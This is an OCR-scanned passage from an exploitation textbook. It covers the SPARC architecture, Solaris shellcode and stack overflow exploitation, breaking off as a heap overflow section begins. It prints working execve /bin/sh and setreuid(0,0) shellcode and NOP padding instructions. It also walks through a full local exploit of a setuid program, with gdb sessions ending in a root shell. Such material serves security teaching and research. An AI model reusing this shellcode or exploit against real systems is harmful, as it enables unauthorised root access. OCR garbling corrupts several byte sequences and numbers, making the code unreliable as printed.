our buffer into EAX. It's a bit of a run-around, but we can't just, mov eax, 
0x00410 041, because the machine code behind this is not in Unicode format. 

Once we have our address in EAX, we push it onto the stack and pop it into 
ECX. 

push eax  

pop ecx 

We then need to adjust it. We'll leave writing the decoder writer as an 
exer-cise for the readers. This section provides all the relevant information 
required for this task. 

Conclusion                                                       

In this chapter, you learned how to exploit vulnerabilities that have filters 
present. Many vulnerabilities allow only ASCII-printable characters into a 
vul-nerable buffer, or require the exploit to use Unicode. These vulnerabilities 
may be classified as "not exploitable," but with the proper filter and decoder, 
and a little creativity, they can indeed be exploited. 

We covered the Venetian Method of writing a filter and presented a Roman 
Exploit Writer as well. The first will allow the exploitation of vulnerabilities in 
which Unicode filters are present; the latter allows you to overcome 
ASCII-printable character vulnerabilities. 
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The Solaris operating system has long been a mainstay of high-end Web 
and database servers. The vast majority of Solaris deployments run on the 
SPARC  architecture, although there is an Intel distribution of Solaris. This 
chapter  will concentrate solely on the SPARC distribution of Solaris, as it 
really is the only serious version of the operating system. Solaris was 
traditionally named SunOS, although that name has long since been dropped. 
Modern and com monly deployed versions of the Solaris operating system 
include versions 2.6, 7, 8, and 9. 

While many other operating systems have moved to a more restrictive set of 
services in a default installation, Solaris 9 still has an abundance of remote lis 
tening services enabled. Traditionally, a large number of vulnerabilities have  
been found in RPC services, and there are close to 20 RFC services enabled 
in a default Solaris 9 installation. The sheer volume of code that is reachable 
remotely would seem to indicate that there are more vulnerabilities to be 

 found within RPC on Solaris. 

 Historically, vulnerabilities have been found in virtually every RPC service 

on Solaris (sadmind, cmsd, statd, automount via statd, snmpXdmid. dmispd, 
cachef sd, and more). Remotely exploitable bugs have also been found in 
services accessible via inetd, such as telnetd, /bin/login (via telnetd and rshd), 
dtspcd, lpd, and others. Solaris ships with a large number of setuid binaries by 
default, and the operating system requires a significant amount of hardening 
out of the box. 

 215 
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The operating system has some built-in security features, including process

  

accounting and auditing, and an optional non-executable stack. The non- 

executable stack offers a certain level of protection when enabled, and is a  
worthwhile feature to enable from an administration standpoint. 

Introduction to the SPARC Architecture                             

The Scalable Processor Architecture (SPARC) is the most widely deployed 
and best-supported architecture upon which Solaris runs. It was originally 
devel oped by Sun Microsystems, but has since become an open standard. 
The two initial versions of the architecture (v7 and v8) were 32-bit, while the 
latest ver sion (v9) is 64-bit. SPARC v9 processors can run 64-bit applications 
as well as 32-bit applications in a legacy fallback mode. 

The UltraSPARC processors from Sun Microsystems are SPARC v9 and 
capable of running 64-bit applications, while virtually all other CPUs from Sun 
are SPARC v7 or v8s, and run applications only in 32-bit mode. Solaris 7,8, 
and 9 all support 64-bit kernels and can run 64-bit user-mode applications; 
how ever, the majority of user-mode binaries shipped by Sun are 32-bit. 

The SPARC processor has 32 general-purpose registers that are usable at 
any time. Some have specific purposes, while others are allocated at the 
discretion of the compiler or programmer. These 32 registers can be divided 
into four specific categories: global, local, input, and output registers. 

The SPARC architecture is big-endian in nature, meaning that integers and 
pointers are represented in memory with the most significant byte first. The 
instruction set is of fixed length, all instructions being 4 bytes long. All instruc 
tions are aligned to a 4-byte boundary, and any attempt to execute code at a 
misaligned address will result in a BUS error. Similarly, any attempts to read 
from or write to misaligned addresses will result in BUS errors and cause pro 
grams to crash. 

Registers and Register Windows 

SPARC CPUs have a variable number of total registers, but these are 
divided into a fixed number of register windows. A register window is a set of 
registers usable by a certain function. The current register window pointer is 
incre mented or decremented by the save and restore instructions, which are 
typically executed at the beginning and end of a function. 

The save instruction results in the current register window being saved, and 
a new set of registers being allocated, while the restore instruction dis cards 
the current register window and restores the previously saved one. The save 
instruction is also used to reserve stack space for local variables, while the 
restore function releases local stack space. 
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Table 10.1.    Global Registers and Purposes 

Register                          Purpose 

%g0 ____________  Always zero 
%g1 _______________  Temporary storage 
%g2 _____________________ Global variable 1 _______  
%g3______________________ Global variable 2 _______  
%g4 _____________________ Global variable 5 ________________  
%g5 _________________        Reserved ________  
%g6____________________     Reserved ________________ 
%g7______________________ Reserved ______________  

The global registers (%g0-%g7) are unaffected by either function calls or the 
save or restore instructions. The first global register, %g0, always has a value 
of zero. Any writes to it are discarded, and any copies from it result in the 
destination being set to zero. The remaining seven global registers have 
various purposes, as described in Table 10.1. 

The local registers (%10%17) are local to one specific function as their 
name suggests. They are saved and restored as part of register windows. The 
local registers have no specific purpose, and can be used by the compiler for 
any purpose. They are preserved for every function. 

When a  save instruction is executed, the output registers (%o0-%o7) 
overwrite the input registers (%i0-%i7). Upon a restore instruction, thereverse 
occurs, and the input registers overwrite the output registers. A save 
instruction preserves the previous function's input registers as part of a 
register window. 

 The first six input registers (%i0-%i5) are incoming function arguments. 
These are passed to a function as %o0 to %o5, and when a save is executed 
they become %i0 to %i5. In the case, where a function requires more than six  
arguments, the additional arguments are passed on the stack. The return 
value  from a function is stored in %i0, and is transferred to %o0 upon restore.   
The %o6 register is a synonym for the stack pointer %sp, while %i6 is the 
frame pointer %fp. The save instruction preserves the stack pointer from the 
Previous function as the frame pointer as would be expected, and restore 
retums the saved stack pointer to its original place. 

 The two remaining general purpose registers not mentioned thus far, %o7 
and %i7, are used to store the return address. Upon a call instruction, the 
return address is stored in %o7. When a save instruction is executed, this 
value is of course transferred to %i7, where it remains until a return and 
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restore are executed. After the value is transferred to the input register, %o7 
becomes available for use as a general purpose register. A summary of input 
and output register purposes is listed in Table 10.2. 

The effects of save and restore are summarized in Tables 10.3 and 10.4 as 
well, for convenience. 

Table 10.2.    Register Names and Purposes 

%i0 First incoming function argument return value  

%il-%i5 Second through sixth incoming function arguments 

%i6 Frame pointer (saved stack pointer)  

%i7 Return address  

%o0 First outgoing function argument, return value from called function 

%o1-%o5 Second though sixth outgoing function arguments 

%o6        Stack pointer  

%o7 Contains return address immediately after call, otherwise general 

purpose 

Table 10.3.   Effects of a save Instruction 

Local registers (%IO-%I7) are saved as part of a register window.  

Input registers (%iO-%i7) are saved as part of a register window. 

Output registers (%oO-%o7) become the input registers (%iO-%i7). 

A specified amount of stack space is reserved. 

Table 10.4.    Effects of a restore Instruction 

Input registers become output registers.  

Original input registers are restored from a saved register window. 

Original local registers are restored from a saved register window. 

4. As a result of step one, the %sp (%o6) becomes %fp (%i6) releasing 
localstack space.  
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For leaf functions {those that do not call any other functions), the compiler 
may create code that does not execute save or restore. The overhead of these 
operations is avoided, but input or local registers cannot be overwritten, and 
arguments must be accessed in the output registers. 

Any given SPARC CPU has a fixed number of register windows. While 
available, these are used to store the saved registers. When available register 
windows run out, the oldest register window is flushed to the stack. Each save 
instruction reserves a minimum of 64 bytes of stack space to allow for local 
and input registers to be stored on the stack if needed. A context switch, or 
most traps or interrupts, will result in all register windows being flushed to the 
stack. 

The Delay Slot 

Like several other architectures, SPARC makes use of a delay slot on 
branches, calls, or jumps. There are two registers used to specify control flow; 
the regis-ter %pc is the program counter and points to the current instruction, 
while %npc points to the next instruction to be executed. When a branch or 
call is taken, the destination address is loaded into %npc rather than %pc. 
This results in the instruction following the branch/call being executed before 
flow is redirected to the destination address. 

0x10004: CMP %o0, 0 
0x10008: BE 0x20000 
Oxl000C: ADD %o1, 1, %o1 
0x10010: MOV 0x10, %o1 

In this example, if %o0 holds the value zero, the branch at 0x10008 will be 
taken. However, before the branch is taken, the instruction at 0x1000c is 
exe-cuted. If the branch at 0x10 0 08 is not taken, the instruction at OxlOOOc 
is still executed, and execution flow continues at 0x10010. If a branch is 
annulled, such as BE, A address, then the instruction in the delay slot is 
executed only if the branch taken. More factors complicate execution flow on 
SPARC; how-ever, you do not necessarily need to fully understand them to 
write exploits. 

Synthetic Instructions 

Many instructions on SPARC are composites of other instructions, or aliases 
for other instructions. Because all instructions are 4 bytes long, it takes two 
instructions to load an arbitrary 32-bit value into any register. More interest-ing, 
both call and ret are synthetic instructions. The call instruction is more 
correctly jmp1 address, %o7.The jmpl instruction is a linked jump, which 
stores the value of the current instruction pointer in the destination operand. In 
the case of call the destination operand is the register %o7. The 
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ret instruction is simply jmp1 %i7 + 8, %g0, which goes back to the saved 
return address. The value of the program counter is discarded to the %g0 
reg-ister, which is always zero. 

Leaf functions use a different synthetic instruction, retl, to return. Since they 
do not execute save or restore, the return address is in %o7, and as a result 
ret1 is an alias for jmpl  %o7 + 8,   %g0. 

Solaris/SPARC Shellcode Basics 

Solaris on SPARC has a well-defined system call interface similar to that 
found on other UNIX operating systems. As is the case for almost every other 
plat-form, shellcode on Solaris/SPARC traditionally makes use of system calls 
rather than calling library functions. There are numerous examples of Solaris/ 
SPARC shellcode available online, and most of them have been around for 
years. If you are looking for something commonly used or simple for exploit 
development, most of it can be found online; however, if you wish to write your 
own shellcode the basics will be covered here. 

System calls are initiated by a specific system trap, trap eight. Trap eight is 
correct for all modem versions of Solaris, however SunOS originally used trap 
zero for system calls. The system call number is specified by the global 
regis-ter %gl. The first six system call arguments are passed in the output 
registers %o0 to %o5asare normal function arguments. Most system calls 
havelessthan six arguments, but for the rare few that need additional 
arguments, these are passed on the stack. 

Self-Location Determination and SPARC Shellcode 

Most shellcode will need a method for finding its own location in memory in 
order to reference any strings included. It's possible to avoid this by 
construct-ing strings on the fly as part of the code, but this is obviously less 
efficient and reliable. On x86 architectures, this is easily accomplished by a 
jump and the call /pop instruction pair. The instructions necessary to 
accomplish this on SPARC are a little more complicated due to the delay slot 
and the need to avoid null bytes in shellcode. 

The following instruction sequence works well to load the location of the 
shellcode into the register %o7, and has been used in SPARC shellcode for 
years: 

1.\x20\xbf\xff\xff // bn, a shellcode - 4 
2.\x20\xbf\xff\xff// bn, a shellcode 
3.\x7f\xff\xff\xff // call shellcode + 4 
4. rest of shellcode 
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The bn, a instruction is an annulled branch never instruction. In other words, 
these branch instructions are never taken (branch never). This means that the 
delay slot is always skipped. The call instruction is really a linked jump that 
stored the value of the current instruction pointer in %o7. 

The order of execution of the above steps is: 1, 3,4, 2,4. 

This code results in the address of the call instruction being stored in %o7, 
and gives the shellcode a way to locate its strings in memory. 

Simple SPARC exec Shellcode 

The final goal of most shellcode is to execute a command shell from which 
pretty much anything else can be done. This example will cover some very 
simple shellcode that executes /bin/sh on Solaris/SPARC. 

The exec system call is number 11 on modern Solaris machines. It takes two 
arguments, the first being a character pointer specifying the filename to 
exe-cute, and the second being a null-terminated character pointer array 
specify-ing file arguments. These arguments will go into %o0 and %o1 
respectively, and the system call number will go into %gl. The following 
shellcode demon-strates how to do this. 

static char scode{}=    

"\x20\xbf\xff\xff" //    1:   bn,a scode - 4 
"\x20\xbf\xff\xff" // 2: bn,a scode 
"\x7f\xff\xff\xff" // 3: call scode + 4 
"\x90\x03\xe0\x20" // 4: add %o7, 32, %o0 
"\x92\x02\x20\x08" // 5: add %o0, 8, %ol 
"\xd0\x22\x20\x08" // 6: st %o0, [%o0 + 8] 
"\xc0\x22\x60\x04" // 7: sc %g0, [%ol + 4] 
"\xc0\x2a\x20\x04" //    4: add %o7,32,%o0 

"\x82\xl0\x20\x0b"          // 9: mov 11, %g1 
"\x91\xd0\x20\x08"           // 10: ta 8 
"/bin/sh"; // 11: shell string 

A line-by-line explanation follows: 

This familiar code loads the address of the shellcode into %o7. 

Location loading code continued. 

And again. 

Load the location of /bin/sh into %o0; this will be the first argument 
to the system call. 

5.  Load the address of the function argument array into %o1. This address 
is 8 bytes past /bin/sh and 1 byte past the end of the shellcode. This will be 
the second system call argument. 

6. Initialize the first member of the argument array (argv [ 0 ]) to be the string 
/bin/sh. 
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7. Set the second member of the argument array to be null, 
terminating 
the array (%g0 is always null). 

8. Ensure that the /bin/sh string is properly null terminated by 
writing a 
null byte at the correct location. 

9. Load the system call number into %g1(ll = SYS_exec). 
10. Execute the system call via trap eight (ta = trap always). 
11. The shell string. 

Useful System Calls on Solaris 

There are quite a few other system calls that are useful outside of execv; a 
complete list can be found in /usr / include / sys / syscall. h on a Solaris 
system. A quick list is provided in Table 10.5. 

NOP and Padding Instructions 

To increase exploit reliability and reduce reliance on exact addresses, it's 
use-ful to including padding instructions in an exploit payload. The true NOP 
instruction on SPARC is not really useful for this in most cases. It contains 
three null bytes, and will not be copied in most string-based overflows. Many 
instructions are available that can take its place and have the same effect. A 
few examples are included in Table 10.6. 

Table 10.5.   Useful System Calls and Associated Numbers 

SYS_open 5 _____________________________ _ __________  
SYS_exec __________________11 _________________________________________  
SYS_dup__________________  41 ____________________________ . ___________  
SYS_setreiud _______________202___________________________________ . --------  
SYS_setregid _______________203_________________________________________  
SYS_so_socket______________230_________________________________________ 
SYS_bind __________________ 232_________________________ . ----------------------- 
SYS listen  233 _______________________________________  
SYS_accept ________________234______________ -------------------------------------------  

SYS_connect 235 . 
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Table 10.6.   NOP Alternatives 

Sparc padding Instruction Byte Sequence 
sub%g1,%g2,%g0_____________________ "\x80\x20\x40\x02"  
andcc %I7,%17,%g0__________________ "\x80\x8d\xc0\xl7"  
or %g0, 0xfff,%g0__________________ "\x80\x18\x2f\xff"  

Solaris/SPARC Stack Frame Introduction  

The stack frame on Solaris/SPARC is similar in organization to that of most 
other platforms. The stack grows down, as on Intel x86, and contains space 
for both local variables and saved registers (see Table 10.7). The minimum 
amount of stack reserve space for any given function in a 32-bit binary would 
be 96 bytes. This is the amount of space necessary to save the eight local and 
eight input registers, plus 32 bytes of additional space. This additional space 
con-tains room for a returned structure pointer and space for saved copies of 
argu-ments in case they must be addressed (if a pointer to them must be 
passed to another function). The stack frame for any function is organized so 
that the space reserved for local variables is located closer to the top of the 
stack than the space reserved for saved registers. This precludes the 
possibility of a func-tion overwriting its own saved registers 

Table 10.7. Memory Management On solaris 

Top of stack - Higher memory addresses 

Function 1 

Space reserved for local variables 

Size: Variable  

Function 1 

Space reserved for return structure 

pointer and argument copies.  

Size: 32 bytes  

Function 1 

Space reserved for saved registers 

Size: 64 bytes  

Bottom of stack - Lower memory addresses 
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The stack is generally populated with structures and arrays, but not with 

integers and pointers as is the case on x86 platforms. Integers and pointers 
are stored in general-purpose registers in most cases, unless the number 
needed exceeds available registers or they must be addressable. 

Stack-Based Overflow Methodologies 

Let's look at some of the most popular stack-based buffer overflow 
method-ologies. They will differ slightly in some cases from Intel IA32 
vulnerabilities, but will have some commonalities. 

Arbitrary Size Overflow 

A stack overflow which allows an arbitrary size overwrite is relatively similar 
in exploitation when compared to Intel x86. The ultimate goal is to overwrite a 
saved instruction pointer on the stack, and as a result redirect execution to an 
arbitrary address that contains shellcode. Because of the organization of the 
stack, however, it is possible only to overwrite the saved registers of the 
calling function. The ultimate effect of this is that it takes a minimum of two 
function returns to gain control of execution. 

If you consider a hypothetical function that contains a stack-based buffer 
overflow, the return address for that function is stored in the register %i7. The 
ret instruction on SPARC is really a synthetic instruction that does jmp1 %i7 + 
8 , %g0. The delay slot will typically be filled with the restore instruc-tion. The 
first ret/restore instruction pair will result in a new value from %i7 being 
restored from a saved register window. If this was restored from the stack 
rather than an internal register, and had been overwritten as part of the 
overflow, the second ret will result in execution of code at an address of the 
attacker's choice. 

Table 10.8 shows what the Solaris/SPARC saved register window on the 
stack looks like. The information is organized as it might be seen if printed in a 
debugger like GDB. The input registers are closer to the stack top than the 
local registers are. 

Table 10.8.   Saved Register Windows Layout on the Stack 

%|0 %l1 _____ %I2 ______________ %l3 _____________  
%l4      _________ %l5 ______________ %I6 ______________ %l7 _________ . ___  
%i0 ______________ % i 1 _______________ %i2 _______________ %i3_ _____________  
%i4 ____________ %i5 __________          %i6 (saved %fp)                    %i7 (saved %pc)  
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Register Windows and Stack Overflow Complications 

Any SPARC CPU has a fixed number of internal register windows. The 
SPARC v9 CPU may have anywhere from 2 to 32 register windows. When a 
CPU runs out of available register windows and attempts a save, a window 
overflow trap is generated, which results in register windows being flushed 
from inter-nal CPU registers to the stack. When a context switch occurs, and a 
thread is suspended, its register windows must also be flushed to the stack. 
System calls generally result in register windows being flushed to the stack. 

At the moment that an overflow occurs, if the register window you are 
attempting to overwrite is not on the stack but rather stored in CPU registers, 
your exploit attempt will obviously be unsuccessful. Upon return, the stored 
registers will not be restored from the position you overwrote on the stack, but 
rather from internal registers. Thib can make an attack that attempts to 
over-write a saved %i7 register more difficult. 

A process in which a buffer overflow has occurred may behave quite 
differ-ently when being debugged. A debugger break will result in all register 
win-dows being flushed. If you are debugging an application and break before 
an overflow occurs, you may cause a register window flush that would not 
other-wise have happened. It's quite common to find an exploit that only works 
with GDB attached to the process, simply because without the debugger, 
break reg-ister windows aren't flushed to the stack and the overwrite has no 
effect. 

Other Complicating Factors 

When registers are saved to the stack, the %i7 register is the last register in 
the array. This means that in order to overwrite it, you must overwrite all the 
other registers first in any typical string-based overflow. In the best situation, 
one additional return will be needed to gain control of program execution. 
How-ever, all the local and input registers will have been corrupted by the 
overflow. Quite often, these registers will contain pointers which, if not valid, 
will cause an access violation or segmentation fault before the critical function 
return. It may be necessary to assess this situation on a case-by-case basis 
and determine appropriate values for registers other than the return address. 

The frame pointer on SPARC must be aligned to an 8-byte boundary. If a 
frame-pointer overwrite is undertaken, or more than one set of saved registers 
is overwritten in an overflow, it is essential to preserve this alignment in the 
frame pointer. A restore instruction executed with an improperly aligned frame 
pointer will result in a BUS error, causing the program to crash. 

Possible Solutions 

Several methods are available with which to perform a stack overwrite of a 
saved %i7, even if the first register window is not stored on the stack. If an 
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attack can be attempted more than once, it is possible to attempt an 

overflow many times, waiting for a context switch at the right time that results 
in regis-ters being flushed to the stack at the right moment. However, this 
method tends to be unreliable, and not all attacks are repeatable. 

An alternative is to overwrite saved registers for a function closer to the top 
of the stack. For any given binary, the distance from one stack frame to 
another is a predictable and calculable value. Therefore, if the register window 
for the first calling function hasn't been flushed to the stack, perhaps the 
register win-dow for the second or third calling function has. However, the 
farther up the call tree you attempt to overwrite saved registers, the more 
function returns are necessary to gain control, and the harder it is prevent the 
program from crashing due to stack corruption. 

In most cases it will be possible to overwrite the first saved register window 
and achieve arbitrary code execution with two returns; however, it is good to 
be aware of the worst-case scenario for exploitation. 

Off-By-One Stack Overflow Vulnerabilities 

Off-by-one vulnerabilities are significantly more difficult to exploit on the 
SPARC architecture, and in most cases they are not exploitable. The 
principles for off-by-one stack exploitation are largely based on pointer 
corruption. The well-defined methodology for exploitation on Intel x86 is to 
overwrite the least-significant bit of the saved frame pointer, which is generally 
the first address on the stack following local variables. If the frame pointer isn't 
the target, another pointer most likely is. The vast majority of off-by-one vulner 
abilities are the result of null termination when there isn't enough buffer space 
remaining, and usually result in the writing of a single null byte out of bounds. 

    On SPARC, pointers are represented in big-endian byte order. Rather 
thanoverwriting the least-significant byte of a pointer in memory, the most 
sig-nificant byte will be corrupted in an off-by-one situation. Instead of 
changing the pointer slightly, the pointer is changed significantly. For example, 
a stan-dard stack pointer 0xFFBF1234 will point to 0xBF1234 when its most 
significant byte is overwritten. This address will be invalid unless the heap has 
been extended significantly to that address. Only in selected cases may this 
be feasible. 

In addition to byte order problems, the targets for pointer corruption on 
Solaris/SPARC are limited. It is not possible to reach the frame pointer, since 
it is deep within the array of saved registers. It is likely only possible to corrupt 
local variables, or the first saved register %l0. Although vulnerabilities must be 
evaluated on a case-by-case basis, off-by-one stack overflows on SPARC 
offer limited possibilities for exploitation at best. 
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Shellcode Locations 

It is necessary to have a good method of redirecting execution to a useful 
address containing shellcode. Shellcode could be located in several possible 
locations, each having its advantages and disadvantages. Reliability is often 
the most important factor in choosing where to put your shellcode, and the 
possibilities are most often dictated by the program you are exploiting. 

For exploitation of local setuid programs, it is possible to fully control the 
program environment and arguments. In this case, it is possible to inject 
shell-code plus a large amount of padding into the environment. The shellcode 
will be found at a very predictable location on the stack, and extremely reliable 
exploitation can be achieved. When possible, this is often the best choice. 

When exploiting daemon programs, especially remotely, finding shellcode on 
the stack and executing it is still a good choice. Stack addresses of buffers 
areoften reasonably predictable and only shift slightly due to changes in the 
environment or program arguments. For exploits where you might have only a 
single chance, a stack address is a good choice due to good predictability and 
only minor variations. 

When an appropriate buffer cannot be found on the stack, or when the stack 
is marked as non-executable, an obvious second choice is the heap. If it is 
possi-ble to inject a large amount of padding around shellcode, pointing 
execution towards a heap address can be just as reliable as a stack buffer. 
However, in most cases finding shellcode on the heap may take multiple 
attempts to work reliably and is better suited for repeatable attacks attempted 
in a brute force manner. Systems with a non-executable stack will gladly 
execute code on the heap, mak-ing this a good choice for exploits that must 
work against hardened systems. 

Return to libc style attacks are generally unreliable on Solaris/SPARC unless 
they can be repeated many times or the attacker has specific knowledge of 
the library versions of the target system. Solaris/SPARC has many library 
ver-sions, many more than do other commercial operating systems such as 
Win-dows. It is not reasonable to expect that libc will be loaded at any specific 
base address, and each major release of Solaris has quite possibly dozens of 
differ-ent libc versions. Local attacks that return into libc can be done quite 
reliably since libraries can be examined in detail. If an attacker takes the time 
to create a comprehensive list of function addresses for different library 
versions, return to libc attacks may be feasible remotely as well. 

For string-based overflows (those that copy up to a null byte), it is often not 
possible to redirect execution to the data section of a main program 
executable. Most applications load at a base address of 0x00010000, 
containing a high null byte in the address. In some cases it is possible to inject 
shellcode into the data section of libraries; this is worth looking into if reliable 
exploitation can-not be achieved by storing shellcode on the stack or heap. 
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Stack Overflow Exploitation In Action 

The principles for stack-based exploitation on Solaris/SPARC tend to make 
more sense when demonstrated. The following example will cover how to 
exploit a simple stack-based overflow in a hypothetical Solaris application, 
applying the techniques mentioned in this chapter. 

The Vulnerable Program 

The vulnerable program in this example was created specifically to 
demon-strate a simple case of stack-based overflow exploitation. It represents 
the least complicated case you might find in a real application; however, it's 
definitely a good starting point. The vulnerable code is as follows: 

int vulnerable_function(char *userinput) 

{ 
char buf[64] ; 
strcpy(buf,userinput); 
return 1;  
} 

In this case, userinput is the first program argument passed from the 
com-mand line. Note that the program will return twice before exiting, giving 
us the possibility of exploiting this bug. 

When the code is compiled, a disassembly from IDA Pro looks like the 
following: 

vulnerable_function: 

var_50 = -0x50 
arg_44 = 0x44 

save %sp, -0xb0, %sp 
st %i0, [%fp+arg_44] 
add %fp, var_50, %o0 

ld [%fp+arg_44], %ol 
call _strcpy 
NOP 

The first argument to strcpy is the destination buffer, which is located 80 
bytes (0x50) before the frame pointer, in this case. The stack frame for the 
call-ing function can usually be found following this, starting out with the saved 
register window. The first absolutely critical register within this window would 
be the frame pointer %fp, which would be the fifteenth saved register and 
located at an offset 56 bytes into the register window. Therefore, its expected 
that by sending a string of exactly 136 bytes as the first argument, the 
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highest byte of the frame pointer will be corrupted, causing the program to 
crash. Let's verify that. 

First, we run with a first argument of 135 bytes. 
# gdb ./stack_overflow 

GNU gdb 4.18 
Copyright 1998 Free Software Foundation, Inc. 
GDB is free software, covered by the GNU General Public License, and you 
are welcome to change it and/or distribute copies of it under certain 
conditions. 
Type "show copying" to see the conditions. 
There is absolutely no warranty for GDB.  Type "show warranty" for 
details. 
This GDB was configured as "sparc-sur.-solaris2.8"...(no debugging 
symbols found)... 
(gdb) r `perl -e "print 'A' x 135"` 

(no debugging symbols found)...(no debugging symbols found}...(no debugging 
symbols found}... Program exited normally. 

As you can see, when we overwrite the registers not critical for program 
execution but leave the frame pointer and instruction pointer untouched, the 
program exits normally and does not crash. 

However, when we add one extra byte to the first program argument, the 
behavior is much different. 

(gdb) r `perl -e "print 'A' x 136"` 
Starting program: /test/./stack_overflow `perl -e "print 'A' x 136"` 
(no debugging symbols found)...(no debugginy symbols found)...(no debugging 
symbols found)... 

0x10704 in main () (gdb) x/i $pc 

0x10704 <main +88>:    restore 
(gdb) print/x $fp 
$1 = Oxbffd28 
(gdb) print/x $i5 
$2 = 0x41414141 
(gdb) 

In this case, the high byte of the frame pointer (%i6, or %fp) has been 
over-written by the null byte terminating the first argument. As you can see, 
the pre-vious saved register % i 5 has been corrupted with As. Immediately 
following the saved frame pointer is the saved instruction pointer, and 
overwriting that will result in arbitrary code execution. We know the string size 
necessary to overwrite critical information, and are now ready to start exploit 
development- 
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The Exploit 

An exploit for this vulnerability will be relatively simple. It will execute the 
vulnerable program with a first argument long enough to trigger the overflow 
Because this is going to be a local exploit, we will fully control the environment 
variables, and this will be a good place to reliably place and execute shellcode 
The only remaining information that is really necessary is the address of the 
shellcode in memory, and we can create a fully functional exploit. 

The exploit contains a target structure that specifies different 
platform-specific information that changes from one OS version to the next. 

struct { 
char *name; 
int length_until_fp; 
unsigned long fp_value; 
unsigned long pc_value; 
int align;   

}targets[] = { 

{ 
 

"Solaris 9 Ultra-Sparc", 
136, 
0xffbf1238, 
0xffbfl0l0, 
0  
} 

}; 

The structure contains the length necessary to begin to overwrite the frame 
pointer, as well as a value with which to overwrite the frame pointer and 
pro-gram counter. The exploit code itself simply constructs a string starting 
with 136 bytes of padding, followed by the specified frame pointer and 
program counter values. The following shellcode is included in the exploit, and 
is put into the program environment along with NOP padding. 

static char setreuid_code[]=   "\x90\xld\xc0\xl7"     // xor %17, %17,%o0 
"\x92\xld\xcO\xlT     // xor %17, %17,%ol 
"\x82\xl0\x20\xca"    // mov  202, %gl  
"\x91\xd0\x20\x08";   // ta 8 

static char shellcode[] 

="\x20\xbf\xff\xff" // bn,a scode - 4 
"\x20\xbf\xff\xff" // bn,a scode 
"\x7f\xff\xff\xff" // call scode +4 

"\x90\x03\xe0\x20"       // add %o7, 32%o0 
"\x92\x02\x20\x08" // add %o0, 8, %o1 
"\xd0\x22\x20\x08" // st %o0, [%o0 +8] 
"\xc0\x22\x60\x04"  //st %g0, [%o1 +4] 
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"\xc0\x2a\x20\x07"        // stb %g0, [%o0 +7] 

"\x82\XlO\x20\xOb"      //   mov   11,    %g1  

"\x91\xd0\x20\x08"     //   ta   8 "/bin/sh"; 

The shellcode does a setreuid (0,0), first to set the real and effective user ID 
to root, and following this runs the execv shellcode discussed earlier. 

The exploit, on its first run, does the following: # gdb ./stack_exploit 

GNU gdb 4.18 

Gdb is free software, covered by the GNU General Public License, And 

you Are welcome to change it and/or distribute copies of it under certain 

conditions. 

Type "show copying" to see the conditions. 

There is absolutely no warranty for GDB.  Type "show warranty" for 

details. 

This GDB was configured as "spare-sun-solaris2.8"...(no debugging 

symbols found)... (gdb) r 0 

Starting program: /test/./staek_exploit 0 

(no debugging symbols found)...(no debugging symbols found)..,(no 

debugging symbols found)... 

Program received signal SIGTRAP, Trace/breakpoint trap. 0xff3c29a8 in ?? 

() (gdb) c Continuing. 

Program received signal SIGILL, Illegal instruction. Oxffbf1018 in ?? 

() (gdb) 

The exploit appears to have worked as was expected. We overwrote the 
pro-gram counter with the value we specified in our exploit, and upon return, 
exe-cution was transferred to that point. At that time, the program crashed 
because an illegal instruction happened to be at that address, but we now 
have the abil-ity to point execution to an arbitrary point in the process address 
space. The next step is to look for our shellcode in memory and redirect 
execution to that address. 

Our shellcode should be very recognizable because it is padded with a large 
number of NOP-like instructions. We know that it's in the program 
environ-ment, and should therefore be located somewhere near the top of the 
stack, so let's look for it there. 

(gdb) x/128x $sp 

Oxffbfl238:     0x00000000      0x00000000     0x00000000 

0x00000000 

Oxffbf1248:     0x00000000      0x00000000      0x00000000 

0x00000000 
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0xffbfl258: 0x00000000      0x00000000      0x00000000                    

0x00000000 

0xffbfl268: 0x00000000      0x00000000      0x00000000                    

0x00000000  

After hitting Enter a few dozen times, we locate something that looks very 
much like our shellcode on the stack.  

(gdb) 

0xffbffc38: 0x2fff8018      0x2fff8018      0x2fff8018 

0x2fff8018 

0xffbffc48: 0x2fff8018      0x2fff8018      0x2fff8018 

0x2fff8018 

0xffbffc58: 0x2fff8018      0x2fff8018     0x2fff8018 

0x2fff8018 

0xffbffc68: 0x2fff8018      0x2fff8018      0x2fff8018 

0x2fff8018 

The repetitive byte pattern is our padding instruction, and it's located on the 
stack at an address of Oxf fbf f e44. However, something obviously isn't quite 
right. Within the exploit, the no operation instruction used is defined as: 

#define NOP "\x80\x18\x2f\xff" 

The byte pattern in memory as aligned on the 4-byte boundary is \x2f \ xff 
\x80\xl8. Since SPARC instructions are always 4-byte aligned, we can't simply 
point our overwritten program counter at an address 2 bytes off the boundary. 
This would result in an immediate BUS fault. However, by adding two padding 
bytes to the environment variable we are able to correctly align our shellcode 
and place our instructions correctly on the 4-byte boundary. With this change 
made, and an exploit pointed at the right place in memory, we should be able 
to execute a shell. 

Struct 

 { 

char *name; 

int length_until_fp; 

unsigned long fp_value; 

unsigned long pc_value; 

int align;  

}  

targets[] = 

{ 

"Solaris 9 Ultra-Sparc", 

136, 

0xffbfl238, 

0xffbffc38, 

2  

} 
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The corrected exploit should now execute a shell. Let's verify that it does. 

$ uname -a 

SunOs unknown 5.9 Generic sun4u sparc SUNW, ULTRA-5_10 
$ ls -al stack_overflow 

-rwsr-xr-x  1 root    other      6800 Aug 19 20:22 stack_overflow 

$ id 

uid=60001(nobody) gid=60001(nobody) 

$ ./stack_exploit 0 

# id 

uid=0(root) gid=60001 (nobody) 

This exploit example was a best-case scenario for exploitation, in which 
none of the complicating factors mentioned previously came into play. With 
luck, however, exploitation of most stack-based overflows should be nearly as 
simple. You can find the files (stack_overflow.c and stack_exploit.c) that 
correspond to this vulnerability and exploit example at www.wiley.com/ 
compbooks/koziol. 

Heap-Based Overflows on Solaris/SPARC                           

Heap-based overflows are most likely more commonly discovered than 
stack-based overflows in modem vulnerability research. They are commonly 
exploited with great reliability; however, they are definitely less reliable to 
exploit than stack-based overflows. Unlike on the stack, execution flow 
infor-mation isn't stored by definition on the heap. 

There are two general methods for executing arbitrary code via a heap 
over-flow. An attacker can either attempt to overwrite program-specific data 
stored on the heap or to corrupt the heap control structures. Not all heap 
implemen-tations store control structures in-line on the heap; however, the 
Solaris System V implementation does. 

A stack overflow can be seen as a two-step process. The first step is the 
actual overflow, which overwrites a saved program counter. The second step 
is a return, which goes to an arbitrary location in memory. In contrast, a heap 
overflow, which corrupts control structures, can generally be seen as a 
three-step process. The first step is of course the overflow, which overwrites 
control structures. The second step would be the heap implementation 
